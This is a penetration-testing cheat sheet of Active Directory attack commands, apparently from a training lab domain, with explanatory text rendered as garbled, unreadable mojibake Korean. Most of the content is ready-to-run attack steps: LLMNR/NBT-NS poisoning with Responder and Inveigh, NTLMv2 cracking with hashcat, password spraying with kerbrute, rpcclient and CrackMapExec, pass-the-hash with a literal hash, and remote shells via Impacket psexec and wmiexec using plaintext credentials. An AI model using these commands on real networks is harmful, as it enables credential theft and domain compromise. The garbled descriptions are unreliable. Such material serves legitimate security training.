Cheat seat
μ΄κΈ° μ΄κ±°
λͺ λ Ή
μ€λͺ
nslookup ns1.inlanefreight.com
λλ©μΈ μ΄λ¦ μμ€ν μ 쿼리νκ³ Linux κΈ°λ° νΈμ€νΈμμ μ λ ₯λ λμμ λλ©μΈ μ΄λ¦ λ§€νμ λν IP μ£Όμλ₯Ό κ²μνλ λ° μ¬μ©λ©λλ€.
sudo tcpdump -i ens224
-i
Linux κΈ°λ° νΈμ€νΈ μ΅μ
μ μ§ννλ λ€νΈμν¬ μΈν°νμ΄μ€μμ λ€νΈμν¬ ν¨ν· μΊ‘μ²λ₯Ό μμνλ λ° μ¬μ©λ©λλ€ .
sudo responder -I ens224 -A
λ₯Ό μ¬μ©νμ¬ νμ±νλ λͺ¨λ μμ μ΅μ
μ μ§ννκ³ μλνλλ‘ μ§μ λ μΈν°νμ΄μ€μ λν μλ΅ λ° λΆμ, 쿼리λ₯Ό μμ LLMNR
νλ λ° μ¬μ©λ©λλ€ . Linux κΈ°λ° νΈμ€νΈμμ μνλ¨NBT-NSMDNS -IPassive Analysis-A
fping -asgq 172.16.5.0/23
Linux κΈ°λ° νΈμ€νΈμμ μ§μ λ λ€νΈμν¬ μΈκ·Έλ¨ΌνΈμ λν΄ ping μ€μμ μνν©λλ€.
sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum
μ§ν μ€μΈ νμΌμ μ§μ λ -A
νΈμ€νΈ λͺ©λ‘( )μ κΈ°λ°μΌλ‘ OS κ°μ§, λ²μ κ°μ§, μ€ν¬λ¦½νΈ μ€μΊλ λ° Tracerouteκ° νμ±νλ( ) nmap μ€μΊμ μνν©λλ€ . κ·Έλ° λ€μ μ΅μ
λ€μ μ§μ λ νμΌμ κ²μ¬ κ²°κ³Όλ₯Ό μΆλ ₯ν©λλ€ . Linux κΈ°λ° νΈμ€νΈμμ μνλ¨hosts.txt-iL-oN
sudo git clone https://github.com/ropnop/kerbrute.git
git
Linux κΈ°λ° νΈμ€νΈμμ kerbrute λꡬλ₯Ό 볡μ νλ λ° μ¬μ©λ©λλ€ .
make help
make
Linux κΈ°λ° νΈμ€νΈμμ κ°λ₯ν μ»΄νμΌ μ΅μ
μ λμ΄νλ λ° μ¬μ©λ©λλ€ .
sudo make all
Kerbrute
μ¬λ¬ OS νλ«νΌ λ° CPU μν€ν
μ²μ λν λ°μ΄λ리λ₯Ό μ»΄νμΌνλ λ° μ¬μ©λ©λλ€ .
./kerbrute_linux_amd64
Kebrute
Linux κΈ°λ° νΈμ€νΈμμ μ νν μ»΄νμΌλ λ°μ΄λ리λ₯Ό ν
μ€νΈνλ λ° μ¬μ©λ©λλ€ .
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
Kerbrute
λ°μ΄λ리λ₯Ό λλ ν°λ¦¬λ‘ μ΄λνλ λ° μ¬μ©λλ©° Linux μ¬μ©μμ κ²½λ‘μ μλλ‘ μ€μ ν μ μμ΅λλ€. λꡬ μ¬μ©μ λμ± μ½κ² λ§λλλ€.
./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results
INLANEFREIGHT.LOCAL
Kerbrute λꡬλ₯Ό μ€ννμ¬ μ§μ λ λλ©μΈ( )μμ -d
μ΅μ
μ μ§ννκ³ μ°κ²°λ λλ©μΈ 컨νΈλ‘€λ¬μμ --dc
λ¨μ΄ λͺ©λ‘μ μ¬μ©νμ¬ μ§μ λ μ¬μ©μ μ΄λ¦μ κ²μνκ³ -o
κ²°κ³Όλ₯Ό μ§μ λ νμΌλ‘ μΆλ ₯ν©λλ€( ). Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
LLMNR/NTB-NS μ€λ
λͺ λ Ή
μ€λͺ
responder -h
Responder
Linux κΈ°λ° νΈμ€νΈμμ μ¬μ©ν μ μλ μ¬μ© μ§μΉ¨κ³Ό λ€μν μ΅μ
μ νμνλ λ° μ¬μ©λ©λλ€ .
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
μλ΅μκ° μΊ‘μ²νμ¬ νμΌ( )μ μ μ₯λ ν΄μλ₯Ό hashcat
ν¬λ NTLMv2
( )νλ λ° μ¬μ©λ©λλ€ . ν¬λνΉμ μ§μ λ λ¨μ΄ λͺ©λ‘μ κΈ°λ°μΌλ‘ μνλ©λλ€.-mfrond_ntlmv2
Import-Module .\Inveigh.ps1
PowerShell cmd-letμ μ¬μ©νμ¬ Import-Module
Windows κΈ°λ° λꡬλ₯Ό κ°μ Έμ΅λλ€ Inveigh.ps1
.
(Get-Command Invoke-Inveigh).Parameters
μμ μ¬μ©ν μ μλ λ€μν μ΅μ
λ° κΈ°λ₯μ μΆλ ₯νλ λ° μ¬μ©λ©λλ€ Invoke-Inveigh
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
LLMNR λ° NBNS μ€νΈνμ΄ νμ±νλ Windows κΈ°λ° νΈμ€νΈμμ μμ Inveigh
νκ³ κ²°κ³Όλ₯Ό νμΌλ‘ μΆλ ₯ν©λλ€.
.\Inveigh.exe
Windows κΈ°λ° νΈμ€νΈμμ C#
ꡬνμ μμν©λλ€ .Inveigh
esc -> GET NTLMV2UNIQUE
. μ
λ ₯
NTLMv2 ν΄μ νλ (Inveighμμ)
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}
Windows νΈμ€νΈμμ NBT-NSλ₯Ό λΉνμ±ννλ λ° μ¬μ©λλ PowerShell μ€ν¬λ¦½νΈμ λλ€.
λΉλ°λ²νΈ μ€νλ μ΄ λ° λΉλ°λ²νΈ μ μ±
λͺ λ Ή
μ€λͺ
#!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done
16,079,616
Linux κΈ°λ° νΈμ€νΈμμ κ°λ₯ν μ¬μ©μ μ΄λ¦ μ‘°ν©μ μμ±νλ λ° μ¬μ©λλ Bash μ€ν¬λ¦½νΈμ
λλ€ .
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
Linux κΈ°λ° νΈμ€νΈμμ μνΈ μ μ±
( )μ μ΄κ±°νκΈ° μν΄ CrackMapExec
μ ν¨ν μ격 μ¦λͺ
( )μ μ¬μ©ν©λλ€ .avazquez:Password123--pass-pol
rpcclient -U "" -N 172.16.5.5
rpcclient
μΈμ
μ ν΅ν΄ λλ©μΈμ λν μ 보λ₯Ό κ²μνλ λ° μ¬μ©λ©λλ€ SMB NULL
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
rpcclient $> querydominfo
rpcclient
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ λΉλ°λ²νΈ μ μ±
μ μ΄κ±°νλ λ° μ¬μ©λ©λλ€ .
enum4linux -P 172.16.5.5
Linux κΈ°λ° νΈμ€νΈμ λμ Windows λλ©μΈμμ enum4linux
λΉλ°λ²νΈ μ μ±
( )μ μ΄κ±°νλ λ° μ¬μ©λ©λλ€ .-P
enum4linux-ng -P 172.16.5.5 -oA ilfreight
enum4linux-ng
Linux κΈ°λ° νΈμ€νΈμ λμ Windows λλ©μΈμμ λΉλ°λ²νΈ μ μ±
( )μ μ΄κ±°νλ λ° μ¬μ©λλ©° -P
, μ΅μ
μ μ§ννλ νμΌμ μ μ₯λ YAML λ° JSONμΌλ‘ μΆλ ₯μ νμν©λλ€ -oA
.
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
ldapsearch
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ λΉλ°λ²νΈ μ μ±
μ μ΄κ±°νλ λ° μ¬μ©λ©λλ€ .
net accounts
Windows κΈ°λ° νΈμ€νΈμμ Windows λλ©μΈμ μνΈ μ μ± μ μ΄κ±°νλ λ° μ¬μ©λ©λλ€.
wget -q https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Import-Module cmd-letμ μ¬μ©νμ¬ PowerView.ps1
Windows κΈ°λ° νΈμ€νΈμμ λꡬλ₯Ό κ°μ Έμ΅λλ€.
Get-DomainPolicy
Windows κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ λΉλ°λ²νΈ μ μ± μ μ΄κ±°νλ λ° μ¬μ©λ©λλ€.
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
enum4linux
λμ Windows λλ©μΈμμ μ¬μ©μ κ³μ μ κ²μν λ€μ grep
μΆλ ₯μ νν°λ§νμ¬ Linux κΈ°λ° νΈμ€νΈμ μ¬μ©μλ₯Ό νμνλ λ° μ¬μ©ν©λλ€ .
rpcclient -U "" -N 172.16.5.5 rpcclient $> enumdomuser
rpcclientλ₯Ό μ¬μ©νμ¬ Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ μ¬μ©μ κ³μ μ κ²μν©λλ€.
crackmapexec smb 172.16.5.5 --users
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ CrackMapExec
μ¬μ©μ( )λ₯Ό κ²μνλ λ° μ¬μ©λ©λλ€ .--users
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
λμ Windows λλ©μΈμμ μ¬μ©μλ₯Ό κ²μν λ€μ Linux κΈ°λ° νΈμ€νΈμ κ²°κ³Όλ§ νμνκΈ° μν΄ ldapsearch
μΆλ ₯μ νν°λ§νλ λ° μ¬μ©λ©λλ€ .grepsAMAccountName
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
Python λꡬλ₯Ό μ¬μ©νμ¬ windapsearch.py
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ μ¬μ©μλ₯Ό κ²μν©λλ€.
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Linux κΈ°λ° νΈμ€νΈμ rpcclient
μ¬μ©μ λͺ©λ‘( ) μ μ¬μ©νμ¬ λΉλ°λ²νΈ μ€νλ μ΄ κ³΅κ²©μ μννλ λ° μ¬μ©λλ Bash ν μ€μ
λλ€ . valid_users.txt
λν μΆλ ₯μ λ κΉλνκ² λ§λ€κΈ° μν΄ μ€ν¨ν μλλ₯Ό νν°λ§ν©λλ€.
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
kerbrute
λ° μ¬μ©μ λͺ©λ‘( )μ μ¬μ©νμ¬ valid_users.txt
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ λν΄ λΉλ°λ²νΈ μ€νλ μ΄ κ³΅κ²©μ μνν©λλ€.
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
CrackMapExec
λ° μ¬μ©μ λͺ©λ‘( )μ μ¬μ©νμ¬ valid_users.txt
Linux κΈ°λ° νΈμ€νΈμμ λμ Windows λλ©μΈμ λν΄ λΉλ°λ²νΈ μ€νλ μ΄ κ³΅κ²©μ μνν©λλ€. λν λ₯Ό μ¬μ©νμ¬ λ‘κ·Έμ¨ μ€ν¨λ₯Ό νν°λ§ν©λλ€ grep
.
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
CrackMapExec
Linux κΈ°λ° νΈμ€νΈμμ μ격 μ¦λͺ
μ§ν©μ μ ν¨μ±μ κ²μ¬νλ λ° μ¬μ©λ©λλ€ .
sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
Linux κΈ°λ° νΈμ€νΈμμ ν λ²μ λ‘κ·ΈμΈ μλλ§ μνλλλ‘ νλ €λ©΄ CrackMapExec
λ° - νλκ·Έλ₯Ό μ¬μ©ν©λλ€ . -local-auth
μ΄λ μνλ λΉλ°λ²νΈ μ μ±
μΌλ‘ μΈν΄ κ³μ μ΄ μ κΈ°μ§ μλλ‘ νκΈ° μν κ²μ
λλ€. λν λ₯Ό μ¬μ©νμ¬ λ‘κ·Έμ¨ μ€ν¨λ₯Ό νν°λ§ν©λλ€ grep
.
Import-Module .\DomainPasswordSpray.ps1
DomainPasswordSpray.ps1
Windows κΈ°λ° νΈμ€νΈμμ PowerShell κΈ°λ° λꡬλ₯Ό κ°μ Έμ€λ λ° μ¬μ©λ©λλ€ .
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
ν¨μ€μλ μ€νλ μ΄ κ³΅κ²©μ μννκ³ κ·Έ κ²°κ³Όλ₯Ό spray_success
Windows κΈ°λ° νΈμ€νΈμμ μ§μ λ νμΌ( )λ‘ μΆλ ₯(-OutFile)ν©λλ€.
보μ μ μ΄ μ΄κ±°
λͺ λ Ή
μ€λͺ
Get-MpComputerStatus
Windows Defender Anti-Virus
Windows κΈ°λ° νΈμ€νΈ μ μνλ₯Ό νμΈνλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€ .
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
AppLocker
Windows κΈ°λ° νΈμ€νΈμμ μ μ±
μ 보λ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€ .
$ExecutionContext.SessionState.LanguageMode
PowerShell Language Mode
Windows κΈ°λ° νΈμ€νΈμμ μ¬μ©λλ κ²μ κ²μνλ λ° μ¬μ©λλ PowerShell μ€ν¬λ¦½νΈμ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Find-LAPSDelegatedGroups
Windows κΈ°λ° νΈμ€νΈμμ LAPSToolkit
κ²μνλ κΈ°λ₯μ
λλ€ .LAPS Delegated Groups
Find-AdmPwdExtendedRights
LAPSTookit
μ½κΈ° κΆνμ΄ μλ κ·Έλ£Ήκ³Ό μ¬μ©μμ λν΄ LAPSκ° νμ±νλ κ° μ»΄ν¨ν°μμ κΆνμ νμΈνλ κΈ°λ₯ μ
λλ€ All Extended Rights
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-LAPSComputers
LAPSToolkit
LAPSκ° νμ±νλ μ»΄ν¨ν°λ₯Ό κ²μνκ³ , λΉλ°λ²νΈ λ§λ£λ₯Ό κ²μνκ³ , 무μμ λΉλ°λ²νΈλ₯Ό κ²μν μ μλ κΈ°λ₯μ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
μ격 μ¦λͺ
μ΄κ±°
λͺ λ Ή
μ€λͺ
xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25
μ ν¨ν μ격 μ¦λͺ μ μ¬μ©νμ¬ Windows λμμ μ°κ²°ν©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ Windows λμμΌλ‘ μΈμ¦ νκ³ λμ Windows λλ©μΈμμ smb
λ λ§μ μ¬μ©μ( )λ₯Ό κ²μνλ €κ³ μλν©λλ€ . --users
Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ Windows λμμΌλ‘ μΈμ¦ νκ³ λμ Windows λλ©μΈμμ smb
κ·Έλ£Ή( ) κ²μμ μλν©λλ€ . --groups
Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ Windows λμμΌλ‘ μΈμ¦νκ³ λμ Windows νΈμ€νΈμ smb
λ‘κ·Έμ¨ν μ¬μ©μ( ) λͺ©λ‘μ νμΈνλ €κ³ μλν©λλ€ . --loggedon-users
Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ Windows λμμΌλ‘ μΈμ¦ smb
νκ³ SMB 곡μ κ²μμ μλν©λλ€( --shares
). Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ Windows λμμΌλ‘ μΈμ¦νκ³ smb
CrackMapExec λͺ¨λ( -M
) μ νμ©νμ¬ spider_plus
μ½κΈ° κ°λ₯ν κ° κ³΅μ ( )λ₯Ό μ΄ν΄λ³΄κ³ Dev-share
μ½μ μ μλ λͺ¨λ νμΌμ λμ΄ν©λλ€. κ²°κ³Όλ μ μΆλ ₯λ©λλ€ JSON
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ λμ Windows λλ©μΈμ μ΄κ±°νκ³ μ¬μ©λ μ ν¨ν μ격 μ¦λͺ
λ° λμ Windows νΈμ€νΈμ 컨ν
μ€νΈ λ΄μμ κ°κ°μ μ¬μ© κ°λ₯ν 곡μ λ° κΆνμ λμ΄ν©λλ€( -H
). Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ λμ Windows λλ©μΈμ μ΄κ±°νκ³ -R
μ§μ λ 곡μ ( )μ μ¬κ· λͺ©λ‘( ) μ μννλ©° 곡μ μ SYSVOL
λλ ν°λ¦¬ λͺ©λ‘( )λ§ μΆλ ₯ν©λλ€ . --dir-only
Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
rpcclient $> queryuser 0x457
μλ μλ³μ( )λ₯Ό μ¬μ©νμ¬ Windows λλ©μΈμ λμ μ¬μ©μ κ³μ μ μ΄κ±°ν©λλ€ 0x457
. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
rpcclient $> enumdomusers
λμ Windows λλ©μΈμ μ¬μ©μ κ³μ λ° κ΄λ ¨ μλ μλ³μ( rid
)λ₯Ό κ²μν©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125
μ ν¨ν μ격 μ¦λͺ
μ΄ μλ κ΄λ¦¬ 곡μ λ₯Ό CLI
ν΅ν΄ Windows λμ μ μ°κ²°νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ . ADMIN$
Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5
μ ν¨ν μ격 μ¦λͺ
μ CLI
ν΅ν΄ Windows λμ μ μ°κ²°νλ λ° μ¬μ©λλ Impacket λꡬμ
λλ€ . WMI
Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
windapsearch.py -h
windapsearch.pyμ μ΅μ κ³Ό κΈ°λ₯μ νμνλ λ° μ¬μ©λ©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 --da
--da
λμ Windows λλ©μΈμμ μ ν¨ν μ격 μ¦λͺ
μΈνΈλ₯Ό μ¬μ©νμ¬ λλ©μΈ κ΄λ¦¬μ κ·Έλ£Ή( )μ μ΄κ±°νλ λ° μ¬μ©λ©λλ€ . Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 -PU
-PU
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ μ€μ²©λ κΆνμ΄ μλ μ¬μ©μμ λν΄ μ¬κ· κ²μ( )μ μννλ λ° μ¬μ©λ©λλ€ . Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ BloodHound( )μ Python ꡬνμ μ€ν bloodhound.py
νκ³ μ΄λ¦ μλ²( -ns
) λ° λμ Windows λλ©μΈ( inlanefreight.local
)μ μ§μ νκ³ λͺ¨λ κ²μ¬( -c all
)λ₯Ό μ€νν©λλ€. μ ν¨ν μ격 μ¦λͺ
μ μ¬μ©νμ¬ μ€νλ©λλ€. Linux κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
λ
μμ μννμ¬ μ΄κ±°
λͺ λ Ή
μ€λͺ
Get-Module
Windows κΈ°λ° νΈμ€νΈμμ μ¬μ© κ°λ₯ν λͺ¨λ λͺ¨λ, ν΄λΉ λ²μ λ° λͺ λ Ή μ΅μ μ λμ΄νλ λ° μ¬μ©λλ PowerShell cmd-letμ λλ€.
Import-Module ActiveDirectory
Active Directory
Windows κΈ°λ° νΈμ€νΈμμ PowerShell λͺ¨λμ λ‘λν©λλ€ .
Get-ADDomain
Windows κΈ°λ° νΈμ€νΈμμ Windows λλ©μΈ μ 보λ₯Ό μμ§νλ λ° μ¬μ©λλ PowerShell cmd-letμ λλ€.
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
λμ Windows λλ©μΈμ μ¬μ©μ κ³μ μ μ΄κ±°νκ³ ServicePrincipalName
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-ADTrust -Filter *
λμ Windows λλ©μΈμ μ λ’° κ΄κ³λ₯Ό μ΄κ±°νκ³ μμ( -Filter *
)λ‘ νν°λ§νλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-ADGroup -Filter * | select name
λμ Windows λλ©μΈμ κ·Έλ£Ήμ μ΄κ±°νκ³ κ·Έλ£Ή μ΄λ¦( select name
)μΌλ‘ νν°λ§νλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-ADGroup -Identity "Backup Operators"
νΉμ κ·Έλ£Ή( -Identity "Backup Operators"
)μ κ²μνλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-ADGroupMember -Identity "Backup Operators"
νΉμ κ·Έλ£Ή( )μ ꡬμ±μμ κ²μνλ λ° μ¬μ©λλ PowerShell cmd-letμ
λλ€ -Identity "Backup Operators"
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Export-PowerViewCSV
κ²°κ³Όλ₯Ό νμΌμ μΆκ°νλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ
λλ€ CSV
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
ConvertTo-SID
User
λλ Group
μ΄λ¦μ μΌλ‘ λ³ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ
λλ€ SID
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainSPNTicket
μ§μ λ μλΉμ€ 주체 μ΄λ¦( )μ λν Kerberos ν°μΌμ μμ²νλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ
λλ€ SPN
. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-Domain
νμ¬(λλ μ§μ λ) λλ©μΈμ λν AD κ°μ²΄λ₯Ό λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainController
μ§μ λ λμ λλ©μΈμ λν λμ λλ©μΈ 컨νΈλ‘€λ¬ λͺ©λ‘μ λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainUser
ADμ λͺ¨λ μ¬μ©μ λλ νΉμ μ¬μ©μ κ°μ²΄λ₯Ό λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainComputer
ADμ λͺ¨λ μ»΄ν¨ν° λλ νΉμ μ»΄ν¨ν° κ°μ²΄λ₯Ό λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainGroup
ADμ λͺ¨λ κ·Έλ£Ή λλ νΉμ κ·Έλ£Ή κ°μ²΄λ₯Ό λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainOU
ADμμ μ 체 λλ νΉμ OU κ°μ²΄λ₯Ό κ²μνλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Find-InterestingDomainAcl
ACLs
κΈ°λ³Έ μ 곡 κ°μ²΄κ° μλ μμ κΆνμ΄ μ€μ λ λλ©μΈμμ κ°μ²΄λ₯Ό μ°Ύλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ
λλ€ . Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainGroupMember
νΉμ λλ©μΈ κ·Έλ£Ήμ ꡬμ±μμ λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainFileServer
νμΌ μλ²λ‘ μλν κ°λ₯μ±μ΄ μλ μλ² λͺ©λ‘μ λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainDFSShare
νμ¬(λλ μ§μ λ) λλ©μΈμ λν λͺ¨λ λΆμ° νμΌ μμ€ν λͺ©λ‘μ λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainGPO
ADμ λͺ¨λ GPO λλ νΉμ GPO κ°μ²΄λ₯Ό λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-DomainPolicy
νμ¬ λλ©μΈμ λν κΈ°λ³Έ λλ©μΈ μ μ± λλ λλ©μΈ 컨νΈλ‘€λ¬ μ μ± μ λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-NetLocalGroup
λ‘컬 λλ μ격 μμ€ν μμ λ‘컬 κ·Έλ£Ήμ μ΄κ±°νλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-NetLocalGroupMember
PowerView μ€ν¬λ¦½νΈλ νΉμ λ‘컬 κ·Έλ£Ήμ ꡬμ±μμ μ΄κ±°ν©λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-NetShare
λ‘컬(λλ μ격) μμ€ν μμ μ΄λ¦° 곡μ λͺ©λ‘μ λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Get-NetSession
λ‘컬(λλ μ격) μμ€ν μ λν μΈμ μ 보λ₯Ό λ°ννλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Test-AdminAccess
νμ¬ μ¬μ©μμκ² λ‘컬(λλ μ격) μμ€ν μ λν κ΄λ¦¬ μ‘μΈμ€ κΆνμ΄ μλμ§ ν μ€νΈνλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈ. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Find-DomainUserLocation
νΉμ μ¬μ©μκ° λ‘κ·ΈμΈν μ»΄ν¨ν°λ₯Ό μ°Ύλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Find-DomainShare
λλ©μΈ μ»΄ν¨ν°μμ μ°κ²° κ°λ₯ν 곡μ λ₯Ό μ°Ύλ λ° μ¬μ©λλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
Find-InterestingDomainShareFile
λλ©μΈμ μ½κΈ° κ°λ₯ν 곡μ μμ νΉμ κΈ°μ€κ³Ό μΌμΉνλ νμΌμ κ²μνλ PowerView μ€ν¬λ¦½νΈμ λλ€. Windows κΈ°λ° νΈμ€νΈμμ μνλ©λλ€.
